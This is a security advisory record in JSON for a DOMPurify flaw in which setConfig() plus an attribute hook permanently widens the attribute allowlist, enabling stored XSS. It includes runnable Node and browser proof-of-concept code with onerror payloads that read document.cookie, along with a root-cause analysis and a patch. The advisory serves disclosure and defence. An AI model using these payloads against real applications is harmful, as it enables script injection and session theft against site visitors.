{"id":"GHSA-cmwh-pvxp-8882","summary":"DOMPurify: Permanent `ALLOWED_ATTR` pollution via `setConfig()` bypassing the hook clone-guard (incomplete fix of the 3.4.7 hook-pollution patch)","details":"## Summary\n\nDOMPurify 3.4.7 shipped a security fix (\"permanent hook pollution\") that makes a registered `uponSanitizeAttribute` hook's mutation of `data.allowedAttributes` **non-persistent** — so allowing an attribute for one element does not leak into later `sanitize()` calls. The fix clones `ALLOWED_ATTR` inside `_parseConfig`.\n\nThat guard is **silently bypassed whenever the application uses the persistent-config API `DOMPurify.setConfig()`.** `setConfig()` sets the module flag `SET_CONFIG = true`, which causes `sanitize()` to **skip `_parseConfig` entirely** — and the clone-guard lives inside `_parseConfig`. The hook is then handed the **live, shared `ALLOWED_ATTR` object**; any `data.allowedAttributes[name] = true` it writes mutates that shared object **permanently**, for the lifetime of the DOMPurify instance, across every subsequent call, and across **all** elements.\n\nIf an application uses `setConfig()` together with an `uponSanitizeAttribute` hook that conditionally allows a dangerous attribute (`onerror`, `onclick`, `onmouseover`, `srcdoc`, `formaction`, …) for \"trusted\" elements, then **one trusted render permanently allows that attribute on untrusted, attacker-controlled content** — yielding stored XSS in viewers' browsers. DOMPurify applies no separate `/^on/` event-handler blocklist: attribute stripping is governed entirely by the allowlist, so a polluted allowlist is the only gate, and survival in the output is final.\n\n---\n\n## Affected configuration (preconditions)\n\nThe vulnerability is triggered when an application does **both**:\n\n1. Calls `DOMPurify.setConfig(...)` once (the recommended pattern for a fixed, persistent policy), **and**\n2. Registers an `uponSanitizeAttribute` hook that writes `data.allowedAttributes[name] = true` to conditionally allow an attribute (e.g. only for elements bearing a trust marker).\n\nThis hook pattern is demonstrated in DOMPurify's own test suite, and the per-call variant of exactly this leak is what 3.4.7 was released to fix.\n\n---\n\n## Root cause (source: `src/purify.ts`, v3.4.10)\n\nThe 3.4.7 clone-guard — only inside `_parseConfig`:\n\n```\n// src/purify.ts  _parseConfig()  (lines ~950-968)\n// \"if a hook is registered AND the set still points at the default constant, clone it.\n//  The hook then mutates the clone ... and the next default-cfg call rebinds to the untouched original.\"\nif ( ... && hooks.uponSanitizeAttribute.length \u003e 0) {\n  ALLOWED_TAGS = clone(ALLOWED_TAGS);          // line 961\n}\nif ( ... hooks.uponSanitizeAttribute.length \u003e 0 ... ) {\n  ALLOWED_ATTR = clone(ALLOWED_ATTR);          // line 968\n}\n```\n\n`sanitize()` skips `_parseConfig` on the persistent-config path:\n\n```\n// src/purify.ts  DOMPurify.sanitize()  (line 2369)\nif (!SET_CONFIG) {\n  _parseConfig(cfg);          // \u003c-- clone-guard lives in here; SKIPPED when SET_CONFIG is true\n}\n```\n\n`setConfig()` sets the flag that disables the guard:\n\n```\n// src/purify.ts  (lines 2596-2598)\nDOMPurify.setConfig = function (cfg = {}) {\n  _parseConfig(cfg);\n  SET_CONFIG = true;          // every later sanitize() now skips _parseConfig\n};\n```\n\nThe hook is handed the **live** allowlist binding, and there is no secondary event-handler defense:\n\n```\n// src/purify.ts (line 2088) — hook event exposes the shared object by reference\nallowedAttributes: ALLOWED_ATTR,\n// (line 2108) hooks.uponSanitizeAttribute executed; a write to data.allowedAttributes mutates ALLOWED_ATTR itself\n// _isValidAttribute gates purely on ALLOWED_ATTR[lcName]; DOMPurify uses NO /^on/ blocklist by design.\n```\n\n**Net:** after `setConfig()`, the clone-guard never runs, so the hook's `allowedAttributes` mutation is a permanent write to the instance's shared `ALLOWED_ATTR`.\n\n---\n\n## Proof of Concept\n\nEnvironment: `npm i dompurify@3.4.10 jsdom` (Node; identical mechanism to `isomorphic-dompurify`, and to a browser instance).\n\n### PoC 1 — the leak (trusted render permanently allows `onerror` on attacker content)\n\n```js\nconst createDOMPurify = require('dompurify');\nconst { JSDOM } = require('jsdom');\nconst DP = createDOMPurify(new JSDOM('').window);\n\n// App init: persistent policy + a hook that allows onerror ONLY for trusted, pre-vetted elements\nDP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });\nDP.addHook('uponSanitizeAttribute', (node, data) =\u003e {\n  if (node.getAttribute && node.getAttribute('data-trusted') === '1') {\n    data.allowedAttributes['onerror'] = true;        // intended: trusted-only\n  }\n});\n\n// 1) A trusted widget is rendered once\nDP.sanitize('\u003cimg data-trusted=\"1\" src=\"x\" onerror=\"loadWidget()\"\u003e');\n\n// 2) Later, ATTACKER-controlled content (NO data-trusted) is sanitized on the same instance\nconsole.log(DP.sanitize('\u003cimg src=\"x\" onerror=\"alert(document.cookie)\"\u003e'));\n// OUTPUT:  \u003cimg src=\"x\" onerror=\"alert(document.cookie)\"\u003e     \u003c-- onerror SURVIVES -\u003e XSS\n```\n\n### PoC 2 — it is a DOMPurify state-leak, not \"the app allowed `on*`\" (attribute-agnostic)\n\n```js\n// Same setConfig + hook shape, but the hook allows a BENIGN attribute (title).\n// The leak is identical -\u003e the defect is a shared-state mutation in DOMPurify,\n// independent of which attribute the hook touches.\nDP.setConfig({ ALLOWED_TAGS: ['span'], ALLOWED_ATTR: [] });\nDP.addHook('uponSanitizeAttribute', (n, d) =\u003e {\n  if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['title'] = true;\n});\nDP.sanitize('\u003cspan data-trusted=\"1\" title=\"ok\"\u003ex\u003c/span\u003e');\nconsole.log(DP.sanitize('\u003cspan title=\"leaked\"\u003ex\u003c/span\u003e'));   // -\u003e \u003cspan title=\"leaked\"\u003ex\u003c/span\u003e  (leaked)\n```\n\n### PoC 3 — control: WITHOUT `setConfig()` the 3.4.7 guard holds\n\n```js\nconst DP2 = createDOMPurify(new JSDOM('').window);\nDP2.addHook('uponSanitizeAttribute', (n, d) =\u003e {\n  if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;\n});\nDP2.sanitize('\u003cimg data-trusted=\"1\" src=\"x\" onerror=\"ok()\"\u003e', { ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });\nconsole.log(DP2.sanitize('\u003cimg src=\"x\" onerror=\"alert(1)\"\u003e', { ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] }));\n// OUTPUT:  \u003cimg src=\"x\"\u003e     \u003c-- onerror correctly STRIPPED. setConfig() is the trigger.\n```\n\n### Persistence (observed)\n\n- The leak **persists after `removeAllHooks()`** — removing the hook does not clean the polluted allowlist.\n- It is **global / cross-element** — a polluted `onmouseover` survives on `\u003ca\u003e` and `\u003cdiv\u003e`, not only the originally-blessed `\u003cimg\u003e`.\n- It persists for the **instance lifetime** (survived 5/5 subsequent default calls).\n- `clearConfig()` **does** restore a clean state (this is the bound of the impact).\n\n---\n\n## Impact\n\nStored XSS. In a long-lived (e.g. server-side / `isomorphic-dompurify`) DOMPurify instance, a single trusted render flips a shared allowlist bit; every subsequent untrusted submission then inherits a live event-handler attribute and executes script in viewers' browsers. Because DOMPurify enforces no `/^on/` blocklist, a surviving `on*` attribute is final — no secondary control prevents execution. `onerror` on a broken-`src` `\u003cimg\u003e` fires with no user interaction (browser-confirmed; see Validation).\n\n**Per-call `FORBID_ATTR` does not mitigate.** A defensive `sanitize(input, { FORBID_ATTR: ['onerror'] })` is also ignored once `setConfig()` has been called: the per-call config is parsed by `_parseConfig`, which `sanitize()` skips entirely under `SET_CONFIG`. So an application cannot blunt the leak with a per-call denylist — the poisoned `ALLOWED_ATTR` is the sole gate.\n\n---\n\n## Realistic attack scenario\n\nA platform mixes admin-authored interactive widgets with user-generated content through one sanitizer instance:\n\n1. The app installs a persistent baseline policy via `setConfig({ ALLOWED_TAGS: [...], ALLOWED_ATTR: [...] })`.\n2. It registers an `uponSanitizeAttribute` hook that enables an event handler **only** for admin-vetted elements marked `data-trusted=\"1\"`, intending safe rich interactivity — a pattern the 3.4.7 fix was specifically meant to make safe.\n3. An admin renders one trusted widget. From that point on, every user-submitted comment/post containing `\u003cimg src=x onerror=...\u003e` passes sanitization and executes for all viewers.\n\n---\n\n## Remediation\n\nExtend the existing clone-guard to the persistent-config (`SET_CONFIG`) fast-path: when `sanitize()` skips `_parseConfig` but an `uponSanitizeAttribute` hook is registered, clone the allowlists before the walk so hook mutations cannot persist — the exact analogue of the guard already present in `_parseConfig`.\n\n```js\n// In DOMPurify.sanitize(), replacing the bare `if (!SET_CONFIG) { _parseConfig(cfg); }`:\nif (!SET_CONFIG) {\n  _parseConfig(cfg);\n} else if (hooks.uponSanitizeAttribute.length \u003e 0) {\n  // Persistent-config path: _parseConfig (and its clone-guard) is skipped, so a hook would\n  // otherwise mutate the shared ALLOWED_ATTR/ALLOWED_TAGS permanently. Clone per call.\n  if (ALLOWED_ATTR === DEFAULT_ALLOWED_ATTR || ALLOWED_ATTR === currentSetConfigAttr) {\n    ALLOWED_ATTR = clone(ALLOWED_ATTR);\n  }\n  if (ALLOWED_TAGS === DEFAULT_ALLOWED_TAGS || ALLOWED_TAGS === currentSetConfigTags) {\n    ALLOWED_TAGS = clone(ALLOWED_TAGS);\n  }\n}\n```\n\n(Equivalently: in the hook-event builder at line ~2088, hand the hook a shallow clone of `ALLOWED_ATTR`/`ALLOWED_TAGS` whenever `SET_CONFIG` is true, mirroring the 3.4.7 intent.)\n\nA regression test should reproduce PoC 1 and assert the attacker call returns `\u003cimg src=\"x\"\u003e`. Note the existing 3.4.7 regression test (\"unguarded attribute hook does not poison subsequent default-config calls\") never exercises `setConfig()` — adding a `setConfig` variant closes the gap.\n\n**Application-side mitigation until patched:** prefer `data.keepAttr = true` (per-element, non-persistent) over `data.allowedAttributes[name] = true` inside hooks; or call `DOMPurify.clearConfig()` between trust domains; or use separate DOMPurify instances for trusted vs. untrusted content.\n\n---\n\n## Limitations\n\n- Requires the two-part precondition above (persistent `setConfig()` **and** a hook writing `data.allowedAttributes[...]`). Not a default-config bypass.\n- Impact is bounded by `clearConfig()`, which restores a clean state. The earlier-considered \"survives `clearConfig()`\" claim did **not** reproduce and is withdrawn.\n- A position could be adopted to \"use `data.keepAttr=true`, not `allowedAttributes[]`.\" However, the 3.4.7 security fix exists precisely to defend the `allowedAttributes[]` hook pattern in the per-call path; leaving the `setConfig` path unguarded is an incomplete fix of an acknowledged security issue.\n\n## Validation\n\n- **Integrity:** the tested `dompurify@3.4.10` `dist/purify.cjs.js` (md5 `ab0e7b1cde1cbcace0f62b6aac284143`) and browser `dist/purify.min.js` (md5 `b0985f80fa48e6e7b263f8f6a64b779e`) are byte-identical to a freshly `npm pack`-ed release — the repro is on the real shipped code. Mechanism identical on 3.4.0, 3.4.9 and 3.4.10.\n- **Node (mechanism):** PoCs 1–3 reproduce deterministically; `DOMPurify.isValidAttribute('img','onerror','x')` flips `false → true` after a single trusted render under `setConfig()`, proving the shared attribute gate is poisoned. Leak survives `removeAllHooks()`, is cross-element, persists for the instance lifetime, and is reset only by `clearConfig()`.\n- **Real browser (impact):** in Chrome with DOMPurify 3.4.10, assigning the attacker output to `innerHTML` **executes** the surviving `onerror` (sentinel `window.__fired = [\"ATTACKER-onerror\"]`; `onerror` DOM property is a `function`), with no user interaction. The no-`setConfig` A/B control does not fire — execution is attributable to the `setConfig` leak, not a harness artifact.\n\n---\n\n## Appendix A — Node PoC (complete, runnable)\n\n```js\n// poc.js  —  npm i dompurify@3.4.10 jsdom  &&  node poc.js\nconst createDOMPurify = require('dompurify');\nconst { JSDOM } = require('jsdom');\nconst freshDP = () =\u003e createDOMPurify(new JSDOM('').window);\nconst log = (s) =\u003e console.log(s);\nlog('DOMPurify ' + freshDP().version + '\\n');\n\n// PoC 1 — the leak: trusted render permanently allows onerror on attacker content\n{\n  const DP = freshDP();\n  DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });\n  DP.addHook('uponSanitizeAttribute', (node, data) =\u003e {\n    if (node.getAttribute && node.getAttribute('data-trusted') === '1') {\n      data.allowedAttributes['onerror'] = true;            // intended: trusted-only\n    }\n  });\n  DP.sanitize('\u003cimg data-trusted=\"1\" src=\"x\" onerror=\"loadWidget()\"\u003e');            // trusted render\n  const attacker = DP.sanitize('\u003cimg src=\"x\" onerror=\"alert(document.cookie)\"\u003e');  // attacker, no data-trusted\n  log('[PoC1] attacker output  : ' + attacker);\n  log('[PoC1] onerror survived : ' + /onerror/.test(attacker));\n  log('[PoC1] isValidAttribute(img,onerror) -\u003e ' + DP.isValidAttribute('img','onerror','x') + '  (shared gate poisoned)\\n');\n}\n\n// PoC 2 — attribute-agnostic: a DOMPurify state-leak, not \"the app allowed on*\"\n{\n  const DP = freshDP();\n  DP.setConfig({ ALLOWED_TAGS: ['span'], ALLOWED_ATTR: [] });\n  DP.addHook('uponSanitizeAttribute', (n, d) =\u003e {\n    if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['title'] = true;\n  });\n  DP.sanitize('\u003cspan data-trusted=\"1\" title=\"ok\"\u003ex\u003c/span\u003e');\n  log('[PoC2] benign title leaks: ' + DP.sanitize('\u003cspan title=\"leaked\"\u003ex\u003c/span\u003e') + '\\n');\n}\n\n// PoC 3 — control: WITHOUT setConfig the 3.4.7 guard holds\n{\n  const DP = freshDP();\n  DP.addHook('uponSanitizeAttribute', (n, d) =\u003e {\n    if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;\n  });\n  DP.sanitize('\u003cimg data-trusted=\"1\" src=\"x\" onerror=\"ok()\"\u003e', { ALLOWED_TAGS:['img'], ALLOWED_ATTR:['src'] });\n  const ctrl = DP.sanitize('\u003cimg src=\"x\" onerror=\"alert(1)\"\u003e', { ALLOWED_TAGS:['img'], ALLOWED_ATTR:['src'] });\n  log('[PoC3] control output   : ' + ctrl + '   stripped: ' + !/onerror/.test(ctrl) + '\\n');\n}\n\n// Persistence: survives removeAllHooks(); reset only by clearConfig()\n{\n  const DP = freshDP();\n  DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });\n  DP.addHook('uponSanitizeAttribute', (n, d) =\u003e {\n    if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;\n  });\n  DP.sanitize('\u003cimg data-trusted=\"1\" src=\"x\" onerror=\"ok()\"\u003e');\n  DP.removeAllHooks();\n  let leaks = 0;\n  for (let i = 0; i \u003c 5; i++) if (/onerror/.test(DP.sanitize('\u003cimg src=\"x\" onerror=\"alert('+i+')\"\u003e'))) leaks++;\n  log('[persist] survived ' + leaks + '/5 calls after removeAllHooks()');\n  DP.clearConfig();\n  log('[persist] after clearConfig(): ' + DP.sanitize('\u003cimg src=\"x\" onerror=\"alert(1)\"\u003e') + '  (reset)');\n}\n```\n\nExpected output:\n```\n[PoC1] attacker output  : \u003cimg src=\"x\" onerror=\"alert(document.cookie)\"\u003e\n[PoC1] onerror survived : true\n[PoC1] isValidAttribute(img,onerror) -\u003e true  (shared gate poisoned)\n[PoC2] benign title leaks: \u003cspan title=\"leaked\"\u003ex\u003c/span\u003e\n[PoC3] control output   : \u003cimg src=\"x\"\u003e   stripped: true\n[persist] survived 5/5 calls after removeAllHooks()\n[persist] after clearConfig(): \u003cimg src=\"x\"\u003e  (reset)\n```\n\n## Appendix B — Browser PoC (complete; confirms execution)\n\n```html\n\u003c!doctype html\u003e\u003chtml\u003e\u003chead\u003e\u003cmeta charset=\"utf-8\"\u003e\n\u003cscript src=\"https://cdn.jsdelivr.net/npm/dompurify@3.4.10/dist/purify.min.js\"\u003e\u003c/script\u003e\n\u003c/head\u003e\u003cbody\u003e\u003cpre id=\"out\"\u003e\u003c/pre\u003e\n\u003cscript\u003e\nconst log = (s) =\u003e document.getElementById('out').textContent += s + '\\n';\nwindow.__fired = [];\nwindow.alert = (x) =\u003e window.__fired.push('alert:' + x);   // sentinel: capture exec, no modal\nlog('DOMPurify ' + DOMPurify.version);\n\n// App init: persistent policy + a hook allowing onerror ONLY for trusted elements\nDOMPurify.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });\nDOMPurify.addHook('uponSanitizeAttribute', (node, data) =\u003e {\n  if (node.getAttribute && node.getAttribute('data-trusted') === '1') data.allowedAttributes['onerror'] = true;\n});\n\nDOMPurify.sanitize('\u003cimg data-trusted=\"1\" src=\"x\" onerror=\"0\"\u003e');                 // one trusted render\nconst out = DOMPurify.sanitize('\u003cimg src=\"x\" onerror=\"alert(\\'XSS:\\'+document.domain)\"\u003e');  // attacker\nlog('attacker sanitized output: ' + out);\nconst host = document.createElement('div');\nhost.innerHTML = out;                            // surviving onerror arms on the broken-src img\ndocument.body.appendChild(host);\n\nsetTimeout(() =\u003e {\n  log('handlers fired: ' + JSON.stringify(window.__fired));\n  log(window.__fired.length ? 'RESULT: XSS EXECUTED' : 'RESULT: no execution');\n}, 500);\n\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e\n```\n\nObserved: `handlers fired: [\"alert:XSS:\u003cdomain\u003e\"]` → **RESULT: XSS EXECUTED** (no user interaction). The same harness without the `setConfig()` line strips `onerror` and does not fire.","aliases":["CVE-2026-65898"],"modified":"2026-07-23T14:34:40.483359Z","published":"2026-06-18T14:27:37Z","database_specific":{"cwe_ids":["CWE-471","CWE-665","CWE-79"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-06-18T14:27:37Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/cure53/DOMPurify/security/advisories/GHSA-cmwh-pvxp-8882"},{"type":"WEB","url":"https://github.com/cure53/DOMPurify/pull/1482"},{"type":"WEB","url":"https://github.com/cure53/DOMPurify/commit/011bc3b2fcc4be17aa76f9030e8668207717acb9"},{"type":"PACKAGE","url":"https://github.com/cure53/DOMPurify"},{"type":"WEB","url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.11"}],"affected":[{"package":{"name":"dompurify","ecosystem":"npm","purl":"pkg:npm/dompurify"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.4.11"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 3.4.10","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-cmwh-pvxp-8882/GHSA-cmwh-pvxp-8882.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}]}